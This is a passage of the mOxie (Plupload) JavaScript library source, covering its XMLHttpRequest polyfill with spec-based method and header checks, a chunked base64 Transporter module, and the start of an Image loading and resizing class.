4752 Throws a "SecurityError" exception if method is a case-insensitive match for CONNECT, TRACE or TRACK.
4753
4754 Throws an "InvalidAccessError" exception if one of the following is true:
4755
4756 Either user or password is passed as argument and the origin of url does not match the XMLHttpRequest origin.
4757 There is an associated XMLHttpRequest document and either the timeout attribute is not zero,
4758 the withCredentials attribute is true, or the responseType attribute is not the empty string.
4759
4760
4761 @method open
4762 @param {String} method HTTP method to use on request
4763 @param {String} url URL to request
4764 @param {Boolean} [async=true] If false request will be done in synchronous manner. Asynchronous by default.
4765 @param {String} [user] Username to use in HTTP authentication process on server-side
4766 @param {String} [password] Password to use in HTTP authentication process on server-side
4767 */
4768 open: function(method, url, async, user, password) {
4769 var urlp;
4770
4771 // first two arguments are required
4772 if (!method || !url) {
4773 throw new x.DOMException(x.DOMException.SYNTAX_ERR);
4774 }
4775
4776 // 2 - check if any code point in method is higher than U+00FF or after deflating method it does not match the method
4777 if (/[\u0100-\uffff]/.test(method) || Encode.utf8_encode(method) !== method) {
4778 throw new x.DOMException(x.DOMException.SYNTAX_ERR);
4779 }
4780
4781 // 3
4782 if (!!~Basic.inArray(method.toUpperCase(), ['CONNECT', 'DELETE', 'GET', 'HEAD', 'OPTIONS', 'POST', 'PUT', 'TRACE', 'TRACK'])) {
4783 _method = method.toUpperCase();
4784 }
4785
4786
4787 // 4 - allowing these methods poses a security risk
4788 if (!!~Basic.inArray(_method, ['CONNECT', 'TRACE', 'TRACK'])) {
4789 throw new x.DOMException(x.DOMException.SECURITY_ERR);
4790 }
4791
4792 // 5
4793 url = Encode.utf8_encode(url);
4794
4795 // 6 - Resolve url relative to the XMLHttpRequest base URL. If the algorithm returns an error, throw a "SyntaxError".
4796 urlp = Url.parseUrl(url);
4797
4798 _same_origin_flag = Url.hasSameOrigin(urlp);
4799
4800 // 7 - manually build up absolute url
4801 _url = Url.resolveUrl(url);
4802
4803 // 9-10, 12-13
4804 if ((user || password) && !_same_origin_flag) {
4805 throw new x.DOMException(x.DOMException.INVALID_ACCESS_ERR);
4806 }
4807
4808 _user = user || urlp.user;
4809 _password = password || urlp.pass;
4810
4811 // 11
4812 _async = async || true;
4813
4814 if (_async === false && (_p('timeout') || _p('withCredentials') || _p('responseType') !== "")) {
4815 throw new x.DOMException(x.DOMException.INVALID_ACCESS_ERR);
4816 }
4817
4818 // 14 - terminate abort()
4819
4820 // 15 - terminate send()
4821
4822 // 18
4823 _sync_flag = !_async;
4824 _send_flag = false;
4825 _headers = {};
4826 _reset.call(this);
4827
4828 // 19
4829 _p('readyState', XMLHttpRequest.OPENED);
4830
4831 // 20
4832 this.dispatchEvent('readystatechange');
4833 },
4834
4835 /**
4836 Appends an header to the list of author request headers, or if header is already
4837 in the list of author request headers, combines its value with value.
4838
4839 Throws an "InvalidStateError" exception if the state is not OPENED or if the send() flag is set.
4840 Throws a "SyntaxError" exception if header is not a valid HTTP header field name or if value
4841 is not a valid HTTP header field value.
4842
4843 @method setRequestHeader
4844 @param {String} header
4845 @param {String|Number} value
4846 */
4847 setRequestHeader: function(header, value) {
4848 var uaHeaders = [ // these headers are controlled by the user agent
4849 "accept-charset",
4850 "accept-encoding",
4851 "access-control-request-headers",
4852 "access-control-request-method",
4853 "connection",
4854 "content-length",
4855 "cookie",
4856 "cookie2",
4857 "content-transfer-encoding",
4858 "date",
4859 "expect",
4860 "host",
4861 "keep-alive",
4862 "origin",
4863 "referer",
4864 "te",
4865 "trailer",
4866 "transfer-encoding",
4867 "upgrade",
4868 "user-agent",
4869 "via"
4870 ];
4871
4872 // 1-2
4873 if (_p('readyState') !== XMLHttpRequest.OPENED || _send_flag) {
4874 throw new x.DOMException(x.DOMException.INVALID_STATE_ERR);
4875 }
4876
4877 // 3
4878 if (/[\u0100-\uffff]/.test(header) || Encode.utf8_encode(header) !== header) {
4879 throw new x.DOMException(x.DOMException.SYNTAX_ERR);
4880 }
4881
4882 // 4
4883 /* this step is seemingly bypassed in browsers, probably to allow various unicode characters in header values
4884 if (/[\u0100-\uffff]/.test(value) || Encode.utf8_encode(value) !== value) {
4885 throw new x.DOMException(x.DOMException.SYNTAX_ERR);
4886 }*/
4887
4888 header = Basic.trim(header).toLowerCase();
4889
4890 // setting of proxy-* and sec-* headers is prohibited by spec
4891 if (!!~Basic.inArray(header, uaHeaders) || /^(proxy\-|sec\-)/.test(header)) {
4892 return false;
4893 }
4894
4895 // camelize
4896 // browsers lowercase header names (at least for custom ones)
4897 // header = header.replace(/\b\w/g, function($1) { return $1.toUpperCase(); });
4898
4899 if (!_headers[header]) {
4900 _headers[header] = value;
4901 } else {
4902 // http://tools.ietf.org/html/rfc2616#section-4.2 (last paragraph)
4903 _headers[header] += ', ' + value;
4904 }
4905 return true;
4906 },
4907
4908 /**
4909 Returns all headers from the response, with the exception of those whose field name is Set-Cookie or Set-Cookie2.
4910
4911 @method getAllResponseHeaders
4912 @return {String} reponse headers or empty string
4913 */
4914 getAllResponseHeaders: function() {
4915 return _responseHeaders || '';
4916 },
4917
4918 /**
4919 Returns the header field value from the response of which the field name matches header,
4920 unless the field name is Set-Cookie or Set-Cookie2.
4921
4922 @method getResponseHeader
4923 @param {String} header
4924 @return {String} value(s) for the specified header or null
4925 */
4926 getResponseHeader: function(header) {
4927 header = header.toLowerCase();
4928
4929 if (_error_flag || !!~Basic.inArray(header, ['set-cookie', 'set-cookie2'])) {
4930 return null;
4931 }
4932
4933 if (_responseHeaders && _responseHeaders !== '') {
4934 // if we didn't parse response headers until now, do it and keep for later
4935 if (!_responseHeadersBag) {
4936 _responseHeadersBag = {};
4937 Basic.each(_responseHeaders.split(/\r\n/), function(line) {
4938 var pair = line.split(/:\s+/);
4939 if (pair.length === 2) { // last line might be empty, omit
4940 pair[0] = Basic.trim(pair[0]); // just in case
4941 _responseHeadersBag[pair[0].toLowerCase()] = { // simply to retain header name in original form
4942 header: pair[0],
4943 value: Basic.trim(pair[1])
4944 };
4945 }
4946 });
4947 }
4948 if (_responseHeadersBag.hasOwnProperty(header)) {
4949 return _responseHeadersBag[header].header + ': ' + _responseHeadersBag[header].value;
4950 }
4951 }
4952 return null;
4953 },
4954
4955 /**
4956 Sets the Content-Type header for the response to mime.
4957 Throws an "InvalidStateError" exception if the state is LOADING or DONE.
4958 Throws a "SyntaxError" exception if mime is not a valid media type.
4959
4960 @method overrideMimeType
4961 @param String mime Mime type to set
4962 */
4963 overrideMimeType: function(mime) {
4964 var matches, charset;
4965
4966 // 1
4967 if (!!~Basic.inArray(_p('readyState'), [XMLHttpRequest.LOADING, XMLHttpRequest.DONE])) {
4968 throw new x.DOMException(x.DOMException.INVALID_STATE_ERR);
4969 }
4970
4971 // 2
4972 mime = Basic.trim(mime.toLowerCase());
4973
4974 if (/;/.test(mime) && (matches = mime.match(/^([^;]+)(?:;\scharset\=)?(.*)$/))) {
4975 mime = matches[1];
4976 if (matches[2]) {
4977 charset = matches[2];
4978 }
4979 }
4980
4981 if (!Mime.mimes[mime]) {
4982 throw new x.DOMException(x.DOMException.SYNTAX_ERR);
4983 }
4984
4985 // 3-4
4986 _finalMime = mime;
4987 _finalCharset = charset;
4988 },
4989
4990 /**
4991 Initiates the request. The optional argument provides the request entity body.
4992 The argument is ignored if request method is GET or HEAD.
4993
4994 Throws an "InvalidStateError" exception if the state is not OPENED or if the send() flag is set.
4995
4996 @method send
4997 @param {Blob|Document|String|FormData} [data] Request entity body
4998 @param {Object} [options] Set of requirements and pre-requisities for runtime initialization
4999 */
5000 send: function(data, options) {
5001 if (Basic.typeOf(options) === 'string') {
5002 _options = { ruid: options };
5003 } else if (!options) {
5004 _options = {};
5005 } else {
5006 _options = options;
5007 }
5008
5009 // 1-2
5010 if (this.readyState !== XMLHttpRequest.OPENED || _send_flag) {
5011 throw new x.DOMException(x.DOMException.INVALID_STATE_ERR);
5012 }
5013
5014 // 3
5015 // sending Blob
5016 if (data instanceof Blob) {
5017 _options.ruid = data.ruid;
5018 _mimeType = data.type || 'application/octet-stream';
5019 }
5020
5021 // FormData
5022 else if (data instanceof FormData) {
5023 if (data.hasBlob()) {
5024 var blob = data.getBlob();
5025 _options.ruid = blob.ruid;
5026 _mimeType = blob.type || 'application/octet-stream';
5027 }
5028 }
5029
5030 // DOMString
5031 else if (typeof data === 'string') {
5032 _encoding = 'UTF-8';
5033 _mimeType = 'text/plain;charset=UTF-8';
5034
5035 // data should be converted to Unicode and encoded as UTF-8
5036 data = Encode.utf8_encode(data);
5037 }
5038
5039 // if withCredentials not set, but requested, set it automatically
5040 if (!this.withCredentials) {
5041 this.withCredentials = (_options.required_caps && _options.required_caps.send_browser_cookies) && !_same_origin_flag;
5042 }
5043
5044 // 4 - storage mutex
5045 // 5
5046 _upload_events_flag = (!_sync_flag && this.upload.hasEventListener()); // DSAP
5047 // 6
5048 _error_flag = false;
5049 // 7
5050 _upload_complete_flag = !data;
5051 // 8 - Asynchronous steps
5052 if (!_sync_flag) {
5053 // 8.1
5054 _send_flag = true;
5055 // 8.2
5056 // this.dispatchEvent('loadstart'); // will be dispatched either by native or runtime xhr
5057 // 8.3
5058 //if (!_upload_complete_flag) {
5059 // this.upload.dispatchEvent('loadstart'); // will be dispatched either by native or runtime xhr
5060 //}
5061 }
5062 // 8.5 - Return the send() method call, but continue running the steps in this algorithm.
5063 _doXHR.call(this, data);
5064 },
5065
5066 /**
5067 Cancels any network activity.
5068
5069 @method abort
5070 */
5071 abort: function() {
5072 _error_flag = true;
5073 _sync_flag = false;
5074
5075 if (!~Basic.inArray(_p('readyState'), [XMLHttpRequest.UNSENT, XMLHttpRequest.OPENED, XMLHttpRequest.DONE])) {
5076 _p('readyState', XMLHttpRequest.DONE);
5077 _send_flag = false;
5078
5079 if (_xhr) {
5080 _xhr.getRuntime().exec.call(_xhr, 'XMLHttpRequest', 'abort', _upload_complete_flag);
5081 } else {
5082 throw new x.DOMException(x.DOMException.INVALID_STATE_ERR);
5083 }
5084
5085 _upload_complete_flag = true;
5086 } else {
5087 _p('readyState', XMLHttpRequest.UNSENT);
5088 }
5089 },
5090
5091 destroy: function() {
5092 if (_xhr) {
5093 if (Basic.typeOf(_xhr.destroy) === 'function') {
5094 _xhr.destroy();
5095 }
5096 _xhr = null;
5097 }
5098
5099 this.unbindAll();
5100
5101 if (this.upload) {
5102 this.upload.unbindAll();
5103 this.upload = null;
5104 }
5105 }
5106 });
5107
5108 this.handleEventProps(dispatches.concat(['readystatechange'])); // for historical reasons
5109 this.upload.handleEventProps(dispatches);
5110
5111 /* this is nice, but maybe too lengthy
5112
5113 // if supported by JS version, set getters/setters for specific properties
5114 o.defineProperty(this, 'readyState', {
5115 configurable: false,
5116
5117 get: function() {
5118 return _p('readyState');
5119 }
5120 });
5121
5122 o.defineProperty(this, 'timeout', {
5123 configurable: false,
5124
5125 get: function() {
5126 return _p('timeout');
5127 },
5128
5129 set: function(value) {
5130
5131 if (_sync_flag) {
5132 throw new x.DOMException(x.DOMException.INVALID_ACCESS_ERR);
5133 }
5134
5135 // timeout still should be measured relative to the start time of request
5136 _timeoutset_time = (new Date).getTime();
5137
5138 _p('timeout', value);
5139 }
5140 });
5141
5142 // the withCredentials attribute has no effect when fetching same-origin resources
5143 o.defineProperty(this, 'withCredentials', {
5144 configurable: false,
5145
5146 get: function() {
5147 return _p('withCredentials');
5148 },
5149
5150 set: function(value) {
5151 // 1-2
5152 if (!~o.inArray(_p('readyState'), [XMLHttpRequest.UNSENT, XMLHttpRequest.OPENED]) || _send_flag) {
5153 throw new x.DOMException(x.DOMException.INVALID_STATE_ERR);
5154 }
5155
5156 // 3-4
5157 if (_anonymous_flag || _sync_flag) {
5158 throw new x.DOMException(x.DOMException.INVALID_ACCESS_ERR);
5159 }
5160
5161 // 5
5162 _p('withCredentials', value);
5163 }
5164 });
5165
5166 o.defineProperty(this, 'status', {
5167 configurable: false,
5168
5169 get: function() {
5170 return _p('status');
5171 }
5172 });
5173
5174 o.defineProperty(this, 'statusText', {
5175 configurable: false,
5176
5177 get: function() {
5178 return _p('statusText');
5179 }
5180 });
5181
5182 o.defineProperty(this, 'responseType', {
5183 configurable: false,
5184
5185 get: function() {
5186 return _p('responseType');
5187 },
5188
5189 set: function(value) {
5190 // 1
5191 if (!!~o.inArray(_p('readyState'), [XMLHttpRequest.LOADING, XMLHttpRequest.DONE])) {
5192 throw new x.DOMException(x.DOMException.INVALID_STATE_ERR);
5193 }
5194
5195 // 2
5196 if (_sync_flag) {
5197 throw new x.DOMException(x.DOMException.INVALID_ACCESS_ERR);
5198 }
5199
5200 // 3
5201 _p('responseType', value.toLowerCase());
5202 }
5203 });
5204
5205 o.defineProperty(this, 'responseText', {
5206 configurable: false,
5207
5208 get: function() {
5209 // 1
5210 if (!~o.inArray(_p('responseType'), ['', 'text'])) {
5211 throw new x.DOMException(x.DOMException.INVALID_STATE_ERR);
5212 }
5213
5214 // 2-3
5215 if (_p('readyState') !== XMLHttpRequest.DONE && _p('readyState') !== XMLHttpRequest.LOADING || _error_flag) {
5216 throw new x.DOMException(x.DOMException.INVALID_STATE_ERR);
5217 }
5218
5219 return _p('responseText');
5220 }
5221 });
5222
5223 o.defineProperty(this, 'responseXML', {
5224 configurable: false,
5225
5226 get: function() {
5227 // 1
5228 if (!~o.inArray(_p('responseType'), ['', 'document'])) {
5229 throw new x.DOMException(x.DOMException.INVALID_STATE_ERR);
5230 }
5231
5232 // 2-3
5233 if (_p('readyState') !== XMLHttpRequest.DONE || _error_flag) {
5234 throw new x.DOMException(x.DOMException.INVALID_STATE_ERR);
5235 }
5236
5237 return _p('responseXML');
5238 }
5239 });
5240
5241 o.defineProperty(this, 'response', {
5242 configurable: false,
5243
5244 get: function() {
5245 if (!!~o.inArray(_p('responseType'), ['', 'text'])) {
5246 if (_p('readyState') !== XMLHttpRequest.DONE && _p('readyState') !== XMLHttpRequest.LOADING || _error_flag) {
5247 return '';
5248 }
5249 }
5250
5251 if (_p('readyState') !== XMLHttpRequest.DONE || _error_flag) {
5252 return null;
5253 }
5254
5255 return _p('response');
5256 }
5257 });
5258
5259 */
5260
5261 function _p(prop, value) {
5262 if (!props.hasOwnProperty(prop)) {
5263 return;
5264 }
5265 if (arguments.length === 1) { // get
5266 return Env.can('define_property') ? props[prop] : self[prop];
5267 } else { // set
5268 if (Env.can('define_property')) {
5269 props[prop] = value;
5270 } else {
5271 self[prop] = value;
5272 }
5273 }
5274 }
5275
5276 /*
5277 function _toASCII(str, AllowUnassigned, UseSTD3ASCIIRules) {
5278 // TODO: http://tools.ietf.org/html/rfc3490#section-4.1
5279 return str.toLowerCase();
5280 }
5281 */
5282
5283
5284 function _doXHR(data) {
5285 var self = this;
5286
5287 _start_time = new Date().getTime();
5288
5289 _xhr = new RuntimeTarget();
5290
5291 function loadEnd() {
5292 if (_xhr) { // it could have been destroyed by now
5293 _xhr.destroy();
5294 _xhr = null;
5295 }
5296 self.dispatchEvent('loadend');
5297 self = null;
5298 }
5299
5300 function exec(runtime) {
5301 _xhr.bind('LoadStart', function(e) {
5302 _p('readyState', XMLHttpRequest.LOADING);
5303 self.dispatchEvent('readystatechange');
5304
5305 self.dispatchEvent(e);
5306
5307 if (_upload_events_flag) {
5308 self.upload.dispatchEvent(e);
5309 }
5310 });
5311
5312 _xhr.bind('Progress', function(e) {
5313 if (_p('readyState') !== XMLHttpRequest.LOADING) {
5314 _p('readyState', XMLHttpRequest.LOADING); // LoadStart unreliable (in Flash for example)
5315 self.dispatchEvent('readystatechange');
5316 }
5317 self.dispatchEvent(e);
5318 });
5319
5320 _xhr.bind('UploadProgress', function(e) {
5321 if (_upload_events_flag) {
5322 self.upload.dispatchEvent({
5323 type: 'progress',
5324 lengthComputable: false,
5325 total: e.total,
5326 loaded: e.loaded
5327 });
5328 }
5329 });
5330
5331 _xhr.bind('Load', function(e) {
5332 _p('readyState', XMLHttpRequest.DONE);
5333 _p('status', Number(runtime.exec.call(_xhr, 'XMLHttpRequest', 'getStatus') || 0));
5334 _p('statusText', httpCode[_p('status')] || "");
5335
5336 _p('response', runtime.exec.call(_xhr, 'XMLHttpRequest', 'getResponse', _p('responseType')));
5337
5338 if (!!~Basic.inArray(_p('responseType'), ['text', ''])) {
5339 _p('responseText', _p('response'));
5340 } else if (_p('responseType') === 'document') {
5341 _p('responseXML', _p('response'));
5342 }
5343
5344 _responseHeaders = runtime.exec.call(_xhr, 'XMLHttpRequest', 'getAllResponseHeaders');
5345
5346 self.dispatchEvent('readystatechange');
5347
5348 if (_p('status') > 0) { // status 0 usually means that server is unreachable
5349 if (_upload_events_flag) {
5350 self.upload.dispatchEvent(e);
5351 }
5352 self.dispatchEvent(e);
5353 } else {
5354 _error_flag = true;
5355 self.dispatchEvent('error');
5356 }
5357 loadEnd();
5358 });
5359
5360 _xhr.bind('Abort', function(e) {
5361 self.dispatchEvent(e);
5362 loadEnd();
5363 });
5364
5365 _xhr.bind('Error', function(e) {
5366 _error_flag = true;
5367 _p('readyState', XMLHttpRequest.DONE);
5368 self.dispatchEvent('readystatechange');
5369 _upload_complete_flag = true;
5370 self.dispatchEvent(e);
5371 loadEnd();
5372 });
5373
5374 runtime.exec.call(_xhr, 'XMLHttpRequest', 'send', {
5375 url: _url,
5376 method: _method,
5377 async: _async,
5378 user: _user,
5379 password: _password,
5380 headers: _headers,
5381 mimeType: _mimeType,
5382 encoding: _encoding,
5383 responseType: self.responseType,
5384 withCredentials: self.withCredentials,
5385 options: _options
5386 }, data);
5387 }
5388
5389 // clarify our requirements
5390 if (typeof(_options.required_caps) === 'string') {
5391 _options.required_caps = Runtime.parseCaps(_options.required_caps);
5392 }
5393
5394 _options.required_caps = Basic.extend({}, _options.required_caps, {
5395 return_response_type: self.responseType
5396 });
5397
5398 if (data instanceof FormData) {
5399 _options.required_caps.send_multipart = true;
5400 }
5401
5402 if (!Basic.isEmptyObj(_headers)) {
5403 _options.required_caps.send_custom_headers = true;
5404 }
5405
5406 if (!_same_origin_flag) {
5407 _options.required_caps.do_cors = true;
5408 }
5409
5410
5411 if (_options.ruid) { // we do not need to wait if we can connect directly
5412 exec(_xhr.connectRuntime(_options));
5413 } else {
5414 _xhr.bind('RuntimeInit', function(e, runtime) {
5415 exec(runtime);
5416 });
5417 _xhr.bind('RuntimeError', function(e, err) {
5418 self.dispatchEvent('RuntimeError', err);
5419 });
5420 _xhr.connectRuntime(_options);
5421 }
5422 }
5423
5424
5425 function _reset() {
5426 _p('responseText', "");
5427 _p('responseXML', null);
5428 _p('response', null);
5429 _p('status', 0);
5430 _p('statusText', "");
5431 _start_time = _timeoutset_time = null;
5432 }
5433 }
5434
5435 XMLHttpRequest.UNSENT = 0;
5436 XMLHttpRequest.OPENED = 1;
5437 XMLHttpRequest.HEADERS_RECEIVED = 2;
5438 XMLHttpRequest.LOADING = 3;
5439 XMLHttpRequest.DONE = 4;
5440
5441 XMLHttpRequest.prototype = EventTarget.instance;
5442
5443 return XMLHttpRequest;
5444});
5445
5446// Included from: src/javascript/runtime/Transporter.js
5447
5448/**
5449 * Transporter.js
5450 *
5451 * Copyright 2013, Moxiecode Systems AB
5452 * Released under GPL License.
5453 *
5454 * License: http://www.plupload.com/license
5455 * Contributing: http://www.plupload.com/contributing
5456 */
5457
5458define("moxie/runtime/Transporter", [
5459 "moxie/core/utils/Basic",
5460 "moxie/core/utils/Encode",
5461 "moxie/runtime/RuntimeClient",
5462 "moxie/core/EventTarget"
5463], function(Basic, Encode, RuntimeClient, EventTarget) {
5464 function Transporter() {
5465 var mod, _runtime, _data, _size, _pos, _chunk_size;
5466
5467 RuntimeClient.call(this);
5468
5469 Basic.extend(this, {
5470 uid: Basic.guid('uid_'),
5471
5472 state: Transporter.IDLE,
5473
5474 result: null,
5475
5476 transport: function(data, type, options) {
5477 var self = this;
5478
5479 options = Basic.extend({
5480 chunk_size: 204798
5481 }, options);
5482
5483 // should divide by three, base64 requires this
5484 if ((mod = options.chunk_size % 3)) {
5485 options.chunk_size += 3 - mod;
5486 }
5487
5488 _chunk_size = options.chunk_size;
5489
5490 _reset.call(this);
5491 _data = data;
5492 _size = data.length;
5493
5494 if (Basic.typeOf(options) === 'string' || options.ruid) {
5495 _run.call(self, type, this.connectRuntime(options));
5496 } else {
5497 // we require this to run only once
5498 var cb = function(e, runtime) {
5499 self.unbind("RuntimeInit", cb);
5500 _run.call(self, type, runtime);
5501 };
5502 this.bind("RuntimeInit", cb);
5503 this.connectRuntime(options);
5504 }
5505 },
5506
5507 abort: function() {
5508 var self = this;
5509
5510 self.state = Transporter.IDLE;
5511 if (_runtime) {
5512 _runtime.exec.call(self, 'Transporter', 'clear');
5513 self.trigger("TransportingAborted");
5514 }
5515
5516 _reset.call(self);
5517 },
5518
5519
5520 destroy: function() {
5521 this.unbindAll();
5522 _runtime = null;
5523 this.disconnectRuntime();
5524 _reset.call(this);
5525 }
5526 });
5527
5528 function _reset() {
5529 _size = _pos = 0;
5530 _data = this.result = null;
5531 }
5532
5533 function _run(type, runtime) {
5534 var self = this;
5535
5536 _runtime = runtime;
5537
5538 //self.unbind("RuntimeInit");
5539
5540 self.bind("TransportingProgress", function(e) {
5541 _pos = e.loaded;
5542
5543 if (_pos < _size && Basic.inArray(self.state, [Transporter.IDLE, Transporter.DONE]) === -1) {
5544 _transport.call(self);
5545 }
5546 }, 999);
5547
5548 self.bind("TransportingComplete", function() {
5549 _pos = _size;
5550 self.state = Transporter.DONE;
5551 _data = null; // clean a bit
5552 self.result = _runtime.exec.call(self, 'Transporter', 'getAsBlob', type || '');
5553 }, 999);
5554
5555 self.state = Transporter.BUSY;
5556 self.trigger("TransportingStarted");
5557 _transport.call(self);
5558 }
5559
5560 function _transport() {
5561 var self = this,
5562 chunk,
5563 bytesLeft = _size - _pos;
5564
5565 if (_chunk_size > bytesLeft) {
5566 _chunk_size = bytesLeft;
5567 }
5568
5569 chunk = Encode.btoa(_data.substr(_pos, _chunk_size));
5570 _runtime.exec.call(self, 'Transporter', 'receive', chunk, _size);
5571 }
5572 }
5573
5574 Transporter.IDLE = 0;
5575 Transporter.BUSY = 1;
5576 Transporter.DONE = 2;
5577
5578 Transporter.prototype = EventTarget.instance;
5579
5580 return Transporter;
5581});
5582
5583// Included from: src/javascript/image/Image.js
5584
5585/**
5586 * Image.js
5587 *
5588 * Copyright 2013, Moxiecode Systems AB
5589 * Released under GPL License.
5590 *
5591 * License: http://www.plupload.com/license
5592 * Contributing: http://www.plupload.com/contributing
5593 */
5594
5595define("moxie/image/Image", [
5596 "moxie/core/utils/Basic",
5597 "moxie/core/utils/Dom",
5598 "moxie/core/Exceptions",
5599 "moxie/file/FileReaderSync",
5600 "moxie/xhr/XMLHttpRequest",
5601 "moxie/runtime/Runtime",
5602 "moxie/runtime/RuntimeClient",
5603 "moxie/runtime/Transporter",
5604 "moxie/core/utils/Env",
5605 "moxie/core/EventTarget",
5606 "moxie/file/Blob",
5607 "moxie/file/File",
5608 "moxie/core/utils/Encode"
5609], function(Basic, Dom, x, FileReaderSync, XMLHttpRequest, Runtime, RuntimeClient, Transporter, Env, EventTarget, Blob, File, Encode) {
5610 /**
5611 Image preloading and manipulation utility. Additionally it provides access to image meta info (Exif, GPS) and raw binary data.
5612
5613 @class Image
5614 @constructor
5615 @extends EventTarget
5616 */
5617 var dispatches = [
5618 'progress',
5619
5620 /**
5621 Dispatched when loading is complete.
5622
5623 @event load
5624 @param {Object} event
5625 */
5626 'load',
5627
5628 'error',
5629
5630 /**
5631 Dispatched when resize operation is complete.
5632
5633 @event resize
5634 @param {Object} event
5635 */
5636 'resize',
5637
5638 /**
5639 Dispatched when visual representation of the image is successfully embedded
5640 into the corresponsing container.
5641
5642 @event embedded
5643 @param {Object} event
5644 */
5645 'embedded'
5646 ];
5647
5648 function Image() {
5649
5650 RuntimeClient.call(this);
5651
5652 Basic.extend(this, {
5653 /**
5654 Unique id of the component
5655
5656 @property uid
5657 @type {String}
5658 */
5659 uid: Basic.guid('uid_'),
5660
5661 /**
5662 Unique id of the connected runtime, if any.
5663
5664 @property ruid
5665 @type {String}
5666 */
5667 ruid: null,
5668
5669 /**
5670 Name of the file, that was used to create an image, if available. If not equals to empty string.
5671
5672 @property name
5673 @type {String}
5674 @default ""
5675 */
5676 name: "",
5677
5678 /**
5679 Size of the image in bytes. Actual value is set only after image is preloaded.
5680
5681 @property size
5682 @type {Number}
5683 @default 0
5684 */
5685 size: 0,
5686
5687 /**
5688 Width of the image. Actual value is set only after image is preloaded.
5689
5690 @property width
5691 @type {Number}
5692 @default 0
5693 */
5694 width: 0,
5695
5696 /**
5697 Height of the image. Actual value is set only after image is preloaded.
5698
5699 @property height
5700 @type {Number}
5701 @default 0
5702 */
5703 height: 0,
5704
5705 /**
5706 Mime type of the image. Currently only image/jpeg and image/png are supported. Actual value is set only after image is preloaded.
5707
5708 @property type
5709 @type {String}
5710 @default ""
5711 */
5712 type: "",
5713
5714 /**
5715 Holds meta info (Exif, GPS). Is populated only for image/jpeg. Actual value is set only after image is preloaded.
5716
5717 @property meta
5718 @type {Object}
5719 @default {}
5720 */
5721 meta: {},
5722
5723 /**
5724 Alias for load method, that takes another mOxie.Image object as a source (see load).
5725
5726 @method clone
5727 @param {Image} src Source for the image
5728 @param {Boolean} [exact=false] Whether to activate in-depth clone mode
5729 */
5730 clone: function() {
5731 this.load.apply(this, arguments);
5732 },
5733
5734 /**
5735 Loads image from various sources. Currently the source for new image can be: mOxie.Image, mOxie.Blob/mOxie.File,
5736 native Blob/File, dataUrl or URL. Depending on the type of the source, arguments - differ. When source is URL,
5737 Image will be downloaded from remote destination and loaded in memory.
5738
5739 @example
5740 var img = new mOxie.Image();
5741 img.onload = function() {
5742 var blob = img.getAsBlob();
5743
5744 var formData = new mOxie.FormData();
5745 formData.append('file', blob);
5746
5747 var xhr = new mOxie.XMLHttpRequest();
5748 xhr.onload = function() {
5749 // upload complete
5750 };
5751 xhr.open('post', 'upload.php');
5752 xhr.send(formData);
5753 };
5754 img.load("http://www.moxiecode.com/images/mox-logo.jpg"); // notice file extension (.jpg)
5755
5756
5757 @method load
5758 @param {Image|Blob|File|String} src Source for the image
5759 @param {Boolean|Object} [mixed]
5760 */
5761 load: function() {
5762 _load.apply(this, arguments);
5763 },
5764
5765 /**
5766 Downsizes the image to fit the specified width/height. If crop is supplied, image will be cropped to exact dimensions.
5767
5768 @method downsize
5769 @param {Object} opts
5770 @param {Number} opts.width Resulting width
5771 @param {Number} [opts.height=width] Resulting height (optional, if not supplied will default to width)
5772 @param {Boolean} [opts.crop=false] Whether to crop the image to exact dimensions
5773 @param {Boolean} [opts.preserveHeaders=true] Whether to preserve meta headers (on JPEGs after resize)
5774 @param {String} [opts.resample=false] Resampling algorithm to use for resizing
5775 */
5776 downsize: function(opts) {
5777 var defaults = {
5778 width: this.width,
5779 height: this.height,
5780 type: this.type || 'image/jpeg',
5781 quality: 90,
5782 crop: false,
5783 preserveHeaders: true,
5784 resample: false
5785 };
5786
5787 if (typeof(opts) === 'object') {
5788 opts = Basic.extend(defaults, opts);
5789 } else {
5790 // for backward compatibility
5791 opts = Basic.extend(defaults, {
5792 width: arguments[0],
5793 height: arguments[1],
5794 crop: arguments[2],
5795 preserveHeaders: arguments[3]
5796 });
5797 }
5798
5799 try {
5800 if (!this.size) { // only preloaded image objects can be used as source
5801 throw new x.DOMException(x.DOMException.INVALID_STATE_ERR);
5802 }
5803
5804 // no way to reliably intercept the crash due to high resolution, so we simply avoid it
5805 if (this.width > Image.MAX_RESIZE_WIDTH || this.height > Image.MAX_RESIZE_HEIGHT) {
5806 throw new x.ImageError(x.ImageError.MAX_RESOLUTION_ERR);
5807 }
5808
5809 this.exec('Image', 'downsize', opts.width, opts.height, opts.crop, opts.preserveHeaders);
5810 } catch(ex) {
5811 // for now simply trigger error event
5812 this.trigger('error', ex.code);
5813 }
5814 },
5815
5816 /**
5817 Alias for downsize(width, height, true). (see downsize)
5818
5819 @method crop
5820 @param {Number} width Resulting width
5821 @param {Number} [height=width] Resulting height (optional, if not supplied will default to width)
5822 @param {Boolean} [preserveHeaders=true] Whether to preserve meta headers (on JPEGs after resize)
5823 */
5824 crop: function(width, height, preserveHeaders) {
5825 this.downsize(width, height, true, preserveHeaders);
5826 },
5827
5828 getAsCanvas: function() {
5829 if (!Env.can('create_canvas')) {
5830 throw new x.RuntimeError(x.RuntimeError.NOT_SUPPORTED_ERR);
5831 }
5832
5833 var runtime = this.connectRuntime(this.ruid);
5834 return runtime.exec.call(this, 'Image', 'getAsCanvas');
5835 },
5836
5837 /**
5838 Retrieves image in it's current state as mOxie.Blob object. Cannot be run on empty or image in progress (throws
5839 DOMException.INVALID_STATE_ERR).
5840
5841 @method getAsBlob
5842 @param {String} [type="image/jpeg"] Mime type of resulting blob. Can either be image/jpeg or image/png
5843 @param {Number} [quality=90] Applicable only together with mime type image/jpeg
5844 @return {Blob} Image as Blob
5845 */
5846 getAsBlob: function(type, quality) {
5847 if (!this.size) {
5848 throw new x.DOMException(x.DOMException.INVALID_STATE_ERR);
5849 }
5850 return this.exec('Image', 'getAsBlob', type || 'image/jpeg', quality || 90);
5851 },
5852
5853 /**
5854 Retrieves image in it's current state as dataURL string. Cannot be run on empty or image in progress (throws
5855 DOMException.INVALID_STATE_ERR).
5856
5857 @method getAsDataURL
5858 @param {String} [type="image/jpeg"] Mime type of resulting blob. Can either be image/jpeg or image/png
5859 @param {Number} [quality=90] Applicable only together with mime type image/jpeg
5860 @return {String} Image as dataURL string
5861 */
5862 getAsDataURL: function(type, quality) {
5863 if (!this.size) {
5864 throw new x.DOMException(x.DOMException.INVALID_STATE_ERR);
5865 }
5866 return this.exec('Image', 'getAsDataURL', type || 'image/jpeg', quality || 90);
5867 },
5868
5869 /**
